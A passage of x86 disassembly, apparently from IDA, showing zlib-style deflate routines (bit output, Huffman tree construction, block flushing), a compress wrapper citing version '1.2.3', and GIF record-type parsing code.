		or	[eax+16B8h], si
		add	ecx, edx


loc_4126BA:				; CODE XREF: sub_412320+385j
		mov	[eax+16BCh], ecx
		movzx	ecx, word ptr [ebx+402h]
		pop	edi
		pop	esi
		mov	[eax+16B4h], ecx
		pop	ebx
		leave
		retn
sub_412320	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126D2	proc near		; CODE XREF: sub_412DBD+23p
		xor	eax, eax
		lea	ecx, [edx+94h]


loc_4126DA:				; CODE XREF: sub_4126D2+15j
		cmp	word ptr [ecx],	0
		jnz	short loc_4126E9
		inc	eax
		add	ecx, 4
		cmp	eax, 9
		jl	short loc_4126DA


loc_4126E9:				; CODE XREF: sub_4126D2+Cj
		cmp	eax, 9
		jnz	short loc_412706
		push	0Eh
		pop	eax
		lea	ecx, [edx+0CCh]


loc_4126F7:				; CODE XREF: sub_4126D2+32j
		cmp	word ptr [ecx],	0
		jnz	short loc_412706
		inc	eax
		add	ecx, 4
		cmp	eax, 20h
		jl	short loc_4126F7


loc_412706:				; CODE XREF: sub_4126D2+1Aj
					; sub_4126D2+29j
		xor	ecx, ecx
		cmp	eax, 20h
		mov	eax, [edx]
		setz	cl
		mov	[eax+2Ch], ecx
		retn
sub_4126D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_412714	proc near		; CODE XREF: sub_412BF6:loc_412CC7p
					; sub_412BF6:loc_412DABp
		mov	ecx, [eax+16BCh]
		cmp	ecx, 10h
		push	ebx
		jnz	short loc_412755
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	ecx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	bl, [eax+16B9h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		and	word ptr [eax+16B8h], 0
		and	dword ptr [eax+16BCh], 0
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_412755:				; CODE XREF: sub_412714+Aj
		cmp	ecx, 8
		jl	short loc_41277F
		mov	edx, [eax+8]
		lea	ecx, [eax+16B8h]
		mov	bl, [ecx]
		push	esi
		mov	esi, [eax+14h]
		mov	[edx+esi], bl
		movzx	dx, byte ptr [ecx+1]
		inc	dword ptr [eax+14h]
		add	dword ptr [eax+16BCh], 0FFFFFFF8h
		mov	[ecx], dx
		pop	esi


loc_41277F:				; CODE XREF: sub_412714+44j
		pop	ebx
		retn
sub_412714	endp


; =============== S U B	R O U T	I N E =======================================



sub_412781	proc near		; CODE XREF: sub_4127D8+9p
					; sub_412DBD+1E0j
		mov	ecx, [eax+16BCh]
		cmp	ecx, 8
		push	ebx
		jle	short loc_4127B1
		mov	edx, [eax+8]
		push	esi
		mov	esi, [eax+14h]
		lea	ecx, [eax+16B8h]
		mov	bl, [ecx]
		mov	[edx+esi], bl
		inc	dword ptr [eax+14h]
		mov	esi, [eax+8]
		mov	edx, [eax+14h]
		mov	cl, [ecx+1]
		mov	[edx+esi], cl
		pop	esi
		jmp	short loc_4127C4
; ---------------------------------------------------------------------------


loc_4127B1:				; CODE XREF: sub_412781+Aj
		test	ecx, ecx
		jle	short loc_4127C7
		mov	ecx, [eax+8]
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl


loc_4127C4:				; CODE XREF: sub_412781+2Ej
		inc	dword ptr [eax+14h]


loc_4127C7:				; CODE XREF: sub_412781+32j
		and	word ptr [eax+16B8h], 0
		and	dword ptr [eax+16BCh], 0
		pop	ebx
		retn
sub_412781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D8	proc near		; CODE XREF: sub_412B6B+83p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		call	sub_412781
		cmp	[ebp+arg_0], 0
		mov	dword ptr [eax+16B4h], 8
		jz	short loc_412848
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bh
		inc	dword ptr [eax+14h]
		mov	edx, [eax+8]
		push	esi
		mov	esi, [eax+14h]
		mov	cl, bl
		not	cl
		mov	[esi+edx], cl
		inc	dword ptr [eax+14h]
		mov	esi, [eax+14h]
		mov	edx, [eax+8]
		mov	ecx, ebx
		not	ecx
		mov	[esi+edx], ch
		inc	dword ptr [eax+14h]
		pop	esi
		jmp	short loc_412848
; ---------------------------------------------------------------------------


loc_412832:				; CODE XREF: sub_4127D8+72j
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		dec	ebx
		mov	[ebp+arg_0], ebx
		mov	bl, [edi]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_0]
		inc	edi


loc_412848:				; CODE XREF: sub_4127D8+1Cj
					; sub_4127D8+58j
		test	ebx, ebx
		jnz	short loc_412832
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_4127D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412850	proc near		; CODE XREF: sub_40FA03+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	word ptr [eax+16B8h], 0
		and	dword ptr [eax+16BCh], 0
		lea	ecx, [eax+94h]
		mov	[eax+0B18h], ecx
		lea	ecx, [eax+988h]
		mov	[eax+0B24h], ecx
		lea	ecx, [eax+0A7Ch]
		mov	dword ptr [eax+0B20h], offset dword_421C44
		mov	dword ptr [eax+0B2Ch], offset dword_421C58
		mov	[eax+0B30h], ecx
		mov	dword ptr [eax+0B38h], offset dword_421C6C
		mov	dword ptr [eax+16B4h], 8
		jmp	sub_4118C9
sub_412850	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128B4	proc near		; CODE XREF: sub_412922+1DEp

var_20		= word ptr -20h
var_1E		= byte ptr -1Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		xor	ecx, ecx
		push	edi
		lea	esi, [ebp+var_1E]
		xor	edi, edi
		xor	eax, eax
		inc	ecx
		sub	edx, esi


loc_4128C8:				; CODE XREF: sub_4128B4+2Ej
		lea	esi, [edx+ecx*2]
		mov	si, [ebp+esi+var_20]
		add	si, ax
		add	si, si
		movzx	eax, si
		mov	[ebp+ecx*2+var_20], ax
		inc	ecx
		cmp	ecx, 0Fh
		jle	short loc_4128C8
		cmp	[ebp+arg_0], edi
		jl	short loc_41291E


loc_4128E9:				; CODE XREF: sub_4128B4+68j
		movzx	edx, word ptr [ebx+edi*4+2]
		test	edx, edx
		jz	short loc_412918
		lea	eax, [ebp+edx*2+var_20]
		movzx	ecx, word ptr [eax]
		movzx	esi, cx
		inc	ecx
		mov	[eax], cx
		xor	eax, eax


loc_412902:				; CODE XREF: sub_4128B4+5Cj
		mov	ecx, esi
		and	ecx, 1
		or	eax, ecx
		shr	esi, 1
		add	eax, eax
		dec	edx
		test	edx, edx
		jg	short loc_412902
		shr	eax, 1
		mov	[ebx+edi*4], ax


loc_412918:				; CODE XREF: sub_4128B4+3Cj
		inc	edi
		cmp	edi, [ebp+arg_0]
		jle	short loc_4128E9


loc_41291E:				; CODE XREF: sub_4128B4+33j
		pop	edi
		pop	esi
		leave
		retn
sub_4128B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412922	proc near		; CODE XREF: sub_412B0A+2Ep
					; sub_412DBD+2Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	ecx, [eax+0Ch]
		or	[ebp+var_8], 0FFFFFFFFh
		push	ebx
		mov	ebx, [eax]
		xor	eax, eax
		test	ecx, ecx
		push	edi
		mov	edi, [edx]
		mov	[ebp+var_4], ecx
		mov	[esi+1450h], eax
		mov	dword ptr [esi+1454h], 23Dh
		jle	loc_4129D8


loc_412958:				; CODE XREF: sub_412922+67j
		cmp	word ptr [edi+eax*4], 0
		jz	short loc_41297F
		inc	dword ptr [esi+1450h]
		mov	ecx, [esi+1450h]
		mov	[esi+ecx*4+0B5Ch], eax
		mov	[ebp+var_8], eax
		mov	byte ptr [eax+esi+1458h], 0
		jmp	short loc_412985
; ---------------------------------------------------------------------------


loc_41297F:				; CODE XREF: sub_412922+3Bj
		and	word ptr [edi+eax*4+2],	0


loc_412985:				; CODE XREF: sub_412922+5Bj
		inc	eax
		cmp	eax, [ebp+var_4]
		jl	short loc_412958
		jmp	short loc_4129D8
; ---------------------------------------------------------------------------


loc_41298D:				; CODE XREF: sub_412922+BDj
		cmp	[ebp+var_8], 2
		jge	short loc_41299B
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		jmp	short loc_41299D
; ---------------------------------------------------------------------------


loc_41299B:				; CODE XREF: sub_412922+6Fj
		xor	eax, eax


loc_41299D:				; CODE XREF: sub_412922+77j
		inc	dword ptr [esi+1450h]
		mov	ecx, [esi+1450h]
		mov	[esi+ecx*4+0B5Ch], eax
		mov	ecx, eax
		shl	ecx, 2
		mov	word ptr [ecx+edi], 1
		mov	byte ptr [esi+eax+1458h], 0
		dec	dword ptr [esi+16A8h]
		test	ebx, ebx
		jz	short loc_4129D8
		movzx	eax, word ptr [ecx+ebx+2]
		sub	[esi+16ACh], eax


loc_4129D8:				; CODE XREF: sub_412922+30j
					; sub_412922+69j ...
		cmp	dword ptr [esi+1450h], 2
		jl	short loc_41298D
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		mov	eax, [esi+1450h]
		cdq
		sub	eax, edx
		mov	ebx, eax
		sar	ebx, 1
		jmp	short loc_412A00
; ---------------------------------------------------------------------------


loc_4129F6:				; CODE XREF: sub_412922+E1j
		push	ebx
		mov	eax, esi
		call	sub_411927
		pop	ecx
		dec	ebx


loc_412A00:				; CODE XREF: sub_412922+D2j
		cmp	ebx, 1
		jge	short loc_4129F6
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax


loc_412A0B:				; CODE XREF: sub_412922+1AAj
		mov	eax, [esi+1450h]
		mov	ecx, [esi+eax*4+0B5Ch]
		mov	ebx, [esi+0B60h]
		dec	eax
		mov	[esi+1450h], eax
		push	1
		mov	eax, esi
		mov	[esi+0B60h], ecx
		call	sub_411927
		dec	dword ptr [esi+1454h]
		mov	eax, [esi+0B60h]
		pop	ecx
		mov	ecx, [esi+1454h]
		mov	[esi+ecx*4+0B5Ch], ebx
		dec	dword ptr [esi+1454h]
		mov	ecx, [esi+1454h]
		mov	[esi+ecx*4+0B5Ch], eax
		lea	ecx, [edi+eax*4]
		mov	[ebp+var_10], ecx
		mov	cx, [ecx]
		lea	edx, [edi+ebx*4]
		add	cx, [edx]
		mov	[ebp+var_14], edx
		mov	dx, cx
		mov	ecx, [ebp+var_C]
		mov	[edi+ecx*4], dx
		mov	bl, [esi+ebx+1458h]
		mov	al, [esi+eax+1458h]
		cmp	bl, al
		jb	short loc_412A94
		movzx	eax, bl
		jmp	short loc_412A97
; ---------------------------------------------------------------------------


loc_412A94:				; CODE XREF: sub_412922+16Bj
		movzx	eax, al


loc_412A97:				; CODE XREF: sub_412922+170j
		mov	edx, [ebp+var_10]
		inc	al
		mov	[esi+ecx+1458h], al
		movzx	eax, cx
		mov	[edx+2], ax
		mov	edx, [ebp+var_14]
		mov	[edx+2], ax
		mov	[esi+0B60h], ecx
		inc	ecx
		push	1
		mov	eax, esi
		mov	[ebp+var_C], ecx
		call	sub_411927
		cmp	dword ptr [esi+1450h], 2
		pop	ecx
		jge	loc_412A0B
		dec	dword ptr [esi+1454h]
		mov	eax, [esi+1454h]
		mov	ecx, [esi+0B60h]
		mov	[esi+eax*4+0B5Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, esi
		call	sub_4119D7
		push	[ebp+var_8]
		lea	edx, [esi+0B3Ch]
		mov	ebx, edi
		call	sub_4128B4
		pop	ecx
		pop	edi
		pop	ebx
		leave
		retn
sub_412922	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B0A	proc near		; CODE XREF: sub_412DBD+44p
		push	esi
		mov	esi, eax
		mov	ecx, [esi+0B1Ch]
		lea	eax, [esi+94h]
		push	esi
		call	sub_411B94
		mov	ecx, [esi+0B28h]
		lea	eax, [esi+988h]
		push	esi
		call	sub_411B94
		lea	eax, [esi+0B30h]
		push	eax
		call	sub_412922
		add	esp, 0Ch
		push	12h
		pop	eax


loc_412B43:				; CODE XREF: sub_412B0A+4Fj
		movzx	ecx, ds:byte_41F80C[eax]
		cmp	word ptr [esi+ecx*4+0A7Eh], 0
		jnz	short loc_412B5B
		dec	eax
		cmp	eax, 3
		jge	short loc_412B43


loc_412B5B:				; CODE XREF: sub_412B0A+49j
		mov	ecx, eax
		imul	ecx, 3
		add	ecx, 11h
		add	[esi+16A8h], ecx
		pop	esi
		retn
sub_412B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B6B	proc near		; CODE XREF: sub_40E674+64Bp
					; sub_412DBD+82p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Dh
		jle	short loc_412BD1
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		pop	esi
		pop	ebx
		jmp	short loc_412BE6
; ---------------------------------------------------------------------------


loc_412BD1:				; CODE XREF: sub_412B6B+Fj
		mov	edx, [ebp+arg_C]
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_412BE6:				; CODE XREF: sub_412B6B+64j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		push	1
		call	sub_4127D8
		pop	ecx
		pop	ebp
		retn
sub_412B6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BF6	proc near		; CODE XREF: sub_40E674+63Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+16BCh]
		push	ebx
		push	esi
		push	2
		pop	edx
		shl	edx, cl
		or	[eax+16B8h], dx
		cmp	ecx, 0Dh
		jle	short loc_412C5A
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	ecx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		mov	si, 2
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412C63
; ---------------------------------------------------------------------------


loc_412C5A:				; CODE XREF: sub_412BF6+1Bj
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_412C63:				; CODE XREF: sub_412BF6+62j
		mov	ecx, [eax+16BCh]
		xor	edx, edx
		shl	edx, cl
		or	[eax+16B8h], dx
		cmp	ecx, 9
		jle	short loc_412CBE
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	ecx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		xor	esi, esi
		shr	si, cl
		add	edx, 0FFFFFFF7h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412CC7
; ---------------------------------------------------------------------------


loc_412CBE:				; CODE XREF: sub_412BF6+81j
		add	ecx, 7
		mov	[eax+16BCh], ecx


loc_412CC7:				; CODE XREF: sub_412BF6+C6j
		call	sub_412714
		mov	ecx, [eax+16BCh]
		mov	edx, [eax+16B4h]
		sub	edx, ecx
		add	edx, 0Bh
		cmp	edx, 9
		jge	loc_412DB0
		push	2
		pop	edx
		shl	edx, cl
		or	[eax+16B8h], dx
		cmp	ecx, 0Dh
		jle	short loc_412D3E
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	ecx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		mov	si, 2
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412D47
; ---------------------------------------------------------------------------


loc_412D3E:				; CODE XREF: sub_412BF6+FFj
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_412D47:				; CODE XREF: sub_412BF6+146j
		mov	ecx, [eax+16BCh]
		xor	edx, edx
		shl	edx, cl
		or	[eax+16B8h], dx
		cmp	ecx, 9
		jle	short loc_412DA2
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	ecx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		xor	esi, esi
		shr	si, cl
		add	edx, 0FFFFFFF7h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412DAB
; ---------------------------------------------------------------------------


loc_412DA2:				; CODE XREF: sub_412BF6+165j
		add	ecx, 7
		mov	[eax+16BCh], ecx


loc_412DAB:				; CODE XREF: sub_412BF6+1AAj
		call	sub_412714


loc_412DB0:				; CODE XREF: sub_412BF6+EAj
		pop	esi
		mov	dword ptr [eax+16B4h], 7
		pop	ebx
		retn
sub_412BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412DBD	proc near		; CODE XREF: sub_40F22C+64p
					; sub_40F22C+A5p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	[esi+84h], eax
		push	edi
		mov	edi, [ebp+arg_8]
		jle	short loc_412E24
		cmp	edi, eax
		jbe	short loc_412DE5
		mov	eax, [esi]
		cmp	dword ptr [eax+2Ch], 2
		jnz	short loc_412DE5
		mov	edx, esi
		call	sub_4126D2


loc_412DE5:				; CODE XREF: sub_412DBD+17j
					; sub_412DBD+1Fj
		lea	eax, [esi+0B18h]
		push	eax
		call	sub_412922
		lea	eax, [esi+0B24h]
		push	eax
		call	sub_412922
		pop	ecx
		pop	ecx
		mov	eax, esi
		call	sub_412B0A
		mov	edx, [esi+16A8h]
		mov	ecx, [esi+16ACh]
		add	edx, 0Ah
		add	ecx, 0Ah
		shr	edx, 3
		shr	ecx, 3
		cmp	ecx, edx
		ja	short loc_412E29
		jmp	short loc_412E27
; ---------------------------------------------------------------------------


loc_412E24:				; CODE XREF: sub_412DBD+13j
		lea	ecx, [edi+5]


loc_412E27:				; CODE XREF: sub_412DBD+65j
		mov	edx, ecx


loc_412E29:				; CODE XREF: sub_412DBD+63j
		push	ebx
		lea	ebx, [edi+4]
		cmp	ebx, edx
		ja	short loc_412E4C
		cmp	[ebp+arg_4], 0
		jz	short loc_412E4C
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_4]
		push	esi
		call	sub_412B6B
		add	esp, 10h
		jmp	loc_412F8C
; ---------------------------------------------------------------------------


loc_412E4C:				; CODE XREF: sub_412DBD+72j
					; sub_412DBD+78j
		cmp	dword ptr [esi+88h], 4
		jz	loc_412F08
		cmp	ecx, edx
		jz	loc_412F08
		mov	edx, [ebp+arg_C]
		mov	ecx, [esi+16BCh]
		add	edx, 4
		cmp	ecx, 0Dh
		jle	short loc_412EC0
		mov	edi, edx
		shl	edi, cl
		mov	ecx, [esi+8]
		or	[esi+16B8h], di
		mov	edi, [esi+14h]
		mov	bl, [esi+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+14h]
		mov	bl, [esi+16B9h]
		mov	edi, [esi+8]
		mov	[ecx+edi], bl
		mov	ebx, [esi+16BCh]
		inc	dword ptr [esi+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	dx, cl
		add	ebx, 0FFFFFFF3h
		mov	[esi+16BCh], ebx
		mov	[esi+16B8h], dx
		jmp	short loc_412ED2
; ---------------------------------------------------------------------------


loc_412EC0:				; CODE XREF: sub_412DBD+B3j
		shl	edx, cl
		or	[esi+16B8h], dx
		add	ecx, 3
		mov	[esi+16BCh], ecx


loc_412ED2:				; CODE XREF: sub_412DBD+101j
		inc	eax
		push	eax
		mov	eax, [esi+0B28h]
		inc	eax
		push	eax
		mov	eax, [esi+0B1Ch]
		inc	eax
		push	eax
		mov	eax, esi
		call	sub_4120EA
		lea	eax, [esi+988h]
		push	eax
		lea	eax, [esi+94h]
		push	eax
		mov	eax, esi
		call	sub_412320
		add	esp, 14h
		jmp	loc_412F8C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: sub_412DBD+96j
					; sub_412DBD+9Ej
		mov	eax, [ebp+arg_C]
		mov	ecx, [esi+16BCh]
		add	eax, 2
		cmp	ecx, 0Dh
		jle	short loc_412F67
		mov	edx, eax
		shl	edx, cl
		mov	ecx, [esi+8]
		or	[esi+16B8h], dx
		mov	edx, [esi+14h]
		mov	bl, [esi+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+14h]
		mov	edx, [esi+8]
		mov	bl, [esi+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [esi+16BCh]
		inc	dword ptr [esi+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	ax, cl
		add	edx, 0FFFFFFF3h
		mov	[esi+16BCh], edx
		mov	[esi+16B8h], ax
		jmp	short loc_412F79
; ---------------------------------------------------------------------------


loc_412F67:				; CODE XREF: sub_412DBD+15Aj
		shl	eax, cl
		or	[esi+16B8h], ax
		add	ecx, 3
		mov	[esi+16BCh], ecx


loc_412F79:				; CODE XREF: sub_412DBD+1A8j
		push	offset dword_41FD68
		push	offset dword_41F8E8
		mov	eax, esi
		call	sub_412320
		pop	ecx
		pop	ecx


loc_412F8C:				; CODE XREF: sub_412DBD+8Aj
					; sub_412DBD+146j
		mov	eax, esi
		call	sub_4118C9
		cmp	[ebp+arg_C], 0
		pop	ebx
		pop	edi
		pop	esi
		jz	short loc_412FA2
		pop	ebp
		jmp	sub_412781
; ---------------------------------------------------------------------------


loc_412FA2:				; CODE XREF: sub_412DBD+1DDj
		pop	ebp
		retn
sub_412DBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FA4	proc near		; CODE XREF: sub_4047AC+CBp

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	38h
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_38]
		push	offset a1_2_3	; "1.2.3"
		push	eax
		call	sub_41016C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41302C
		push	edi
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_41025B
		mov	edi, eax
		cmp	edi, 1
		pop	ecx
		pop	ecx
		jz	short loc_41301C
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4114D7
		cmp	edi, 2
		pop	ecx
		jz	short loc_413017
		cmp	edi, 0FFFFFFFBh
		jnz	short loc_413013
		cmp	[ebp+var_34], 0
		jz	short loc_413017


loc_413013:				; CODE XREF: sub_412FA4+67j
		mov	eax, edi
		jmp	short loc_41302B
; ---------------------------------------------------------------------------


loc_413017:				; CODE XREF: sub_412FA4+62j
					; sub_412FA4+6Dj
		push	0FFFFFFFDh
		pop	eax
		jmp	short loc_41302B
; ---------------------------------------------------------------------------


loc_41301C:				; CODE XREF: sub_412FA4+53j
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4114D7
		pop	ecx


loc_41302B:				; CODE XREF: sub_412FA4+71j
					; sub_412FA4+76j
		pop	edi


loc_41302C:				; CODE XREF: sub_412FA4+3Ej
		pop	esi
		leave
		retn
sub_412FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41302F	proc near		; DATA XREF: sub_40FA8A+3Fo
					; sub_4100B2+3Bo

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		imul	eax, [esp+arg_8]
		push	eax
		call	sub_40CC7F
		pop	ecx
		retn
sub_41302F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413040	proc near		; DATA XREF: sub_40FA8A+4Eo
					; sub_4100B2+4Ao

arg_4		= dword	ptr  8

		push	[esp+arg_4]
		call	sub_40CCC5
		pop	ecx
		retn
sub_413040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41304B	proc near		; CODE XREF: sub_402C86:loc_402DCDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+38h]
		test	byte ptr [eax],	8
		jnz	short loc_413067
		mov	dword_421D3C, 6Fh


loc_413063:				; CODE XREF: sub_41304B+38j
					; sub_41304B+5Cj
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413067:				; CODE XREF: sub_41304B+Cj
		push	1
		lea	edx, [ebp+arg_0+3]
		push	edx
		push	ecx
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_413085
		mov	dword_421D3C, 66h
		jmp	short loc_413063
; ---------------------------------------------------------------------------


loc_413085:				; CODE XREF: sub_41304B+2Cj
		cmp	byte ptr [ebp+arg_0+3],	21h
		mov	eax, [ebp+arg_4]
		jz	short loc_4130B9
		cmp	byte ptr [ebp+arg_0+3],	2Ch
		jz	short loc_4130B1
		cmp	byte ptr [ebp+arg_0+3],	3Bh
		jz	short loc_4130A9
		and	dword ptr [eax], 0
		mov	dword_421D3C, 6Bh
		jmp	short loc_413063
; ---------------------------------------------------------------------------


loc_4130A9:				; CODE XREF: sub_41304B+4Dj
		mov	dword ptr [eax], 4
		jmp	short loc_4130BF
; ---------------------------------------------------------------------------


loc_4130B1:				; CODE XREF: sub_41304B+47j
		mov	dword ptr [eax], 2
		jmp	short loc_4130BF
; ---------------------------------------------------------------------------


loc_4130B9:				; CODE XREF: sub_41304B+41j
		mov	dword ptr [eax], 3


loc_4130BF:				; CODE XREF: sub_41304B+64j
					; sub_41304B+6Cj
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
sub_41304B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130C4	proc near		; CODE XREF: sub_402C86+12Bp
					; sub_413631+48p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+38h]
		push	1
		lea	eax, [ebp+arg_0+3]
		push	eax
		push	edi
		call	dword ptr [esi+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_4130EF


loc_4130E1:				; CODE XREF: sub_4130C4+57j
		mov	dword_421D3C, 66h
		xor	eax, eax
		jmp	short loc_413126
; ---------------------------------------------------------------------------


loc_4130EF:				; CODE XREF: sub_4130C4+1Bj
		mov	dl, byte ptr [ebp+arg_0+3]
		test	dl, dl
		jbe	short loc_41311D
		mov	ecx, [ebp+arg_4]
		lea	eax, [esi+44h]
		mov	[ecx], eax
		mov	[eax], dl
		movzx	edx, byte ptr [ebp+arg_0+3]
		mov	ecx, [ecx]
		mov	eax, [edi+38h]
		push	edx
		inc	ecx
		push	ecx
		push	edi
		call	dword ptr [eax+3Ch]
		movzx	ecx, byte ptr [ebp+arg_0+3]
		add	esp, 0Ch
		cmp	eax, ecx
